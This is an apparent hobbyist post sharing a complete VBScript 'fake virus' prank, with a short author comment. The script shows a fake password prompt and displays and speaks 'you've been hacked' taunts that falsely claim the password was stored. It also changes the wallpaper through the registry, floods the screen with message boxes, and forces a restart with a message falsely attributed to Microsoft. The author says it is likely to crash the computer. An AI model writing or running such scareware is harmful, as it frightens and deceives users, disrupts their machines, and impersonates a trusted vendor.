Improved fake virus

totally-not-a-virus-trust-me.vbs

Option Explicit
Dim wsh : Set wsh = CreateObject("Wscript.Shell")
Dim Sapi : Set Sapi = Wscript.CreateObject("SAPI.SpVoice")
Dim fso : Set fso = CreateObject("Scripting.FileSystemObject")

Dim passwd
Dim windowsDir
Dim Wallpaper
Dim x
x=0

Wallpaper = "C:\xampp\wallpaper.jpg"

Dim num
num=0

Do While x=0

    passwd=inputbox("This application is locked. Please provide a password to unlock:","Error opening application", "")

    If passwd="" Then

        msgbox "Please provide a password",vbOKOnly+vbCritical

    Else

        x=1

        wsh.Run "notepad.exe", 9

        WScript.Sleep 500 

        wsh.SendKeys "Y0u've beEn h@cked!"
        Sapi.speak "You've been hacked!"
        wsh.SendKeys "{ENTER}"

        wsh.SendKeys "I'v3 now g0t your p@ssword st0red 1n my d4tab@se"
        Sapi.speak "I've now got your password stored in my database."
        wsh.SendKeys "{ENTER}"

        wsh.SendKeys "And th3re 1s n0thing yo() can d0 about 1t!"
        Sapi.speak "And there is nothing you can do about it."
        wsh.SendKeys "{ENTER}"

        wsh.SendKeys "HAHAHAHA! You stupid little human."
        Sapi.speak "HAHAHAHA! You stupid little human."
        wsh.SendKeys "{ENTER}"

        wsh.SendKeys "Computers are f@r bEtter, and m()ch m0re intEll1gent."
        Sapi.speak "Computers are far better, and much more intelligent."
        wsh.SendKeys "{ENTER}"

        wsh.SendKeys "So now go get IT to help you, chicken-little!"
        Sapi.speak "So now go get IT to help you, chicken-little!"
        wsh.SendKeys "{ENTER}{ENTER}"
        wsh.SendKeys "- Anonymous"

        wsh.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\Wallpaper", Wallpaper

        wsh.Run "C:\Windows\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

    End If

Loop

Do While x=1 

    Do Until num=100
        num=num+1
        wsh.SendKeys "Y0u've beEn h@cked!"
        MsgExclamation "YOU'VE BEEN HACKED! CLICK OK TO ACCEPT", "ANGRY ROBOT FROM FAR PLANET"
    Loop

    x=2
    wsh.run "cmd /k shutdown -r -t 250 /c ""Your computer is hacked and being monitored on unknown location to prevent this Microsoft is shutting your computer down"""

Loop


'Functions for simple no wait message boxes without return values.
Function MsgBlank(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbOkOnly,"""&t&""")(window.close))"
End Function
Function MsgCritical(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbCritical,"""&t&""")(window.close))"
End Function
Function MsgInformation(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbInformation,"""&t&""")(window.close))"
End Function
Function MsgExclamation(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbExclamation,"""&t&""")(window.close))"
End Function

I made this mainly because I wanted to learn vbs, but it's also quite fun.
It is very likely to crash your computer when running it, because it spawns A LOT of windows.

This version is a improved version of the last one, because it changes the background, and it show the things the ROBOT is saying in a notepad window.

NEVER USE THIS TO HARM SOMEONE!!
This is purely for educational purposes ONLY!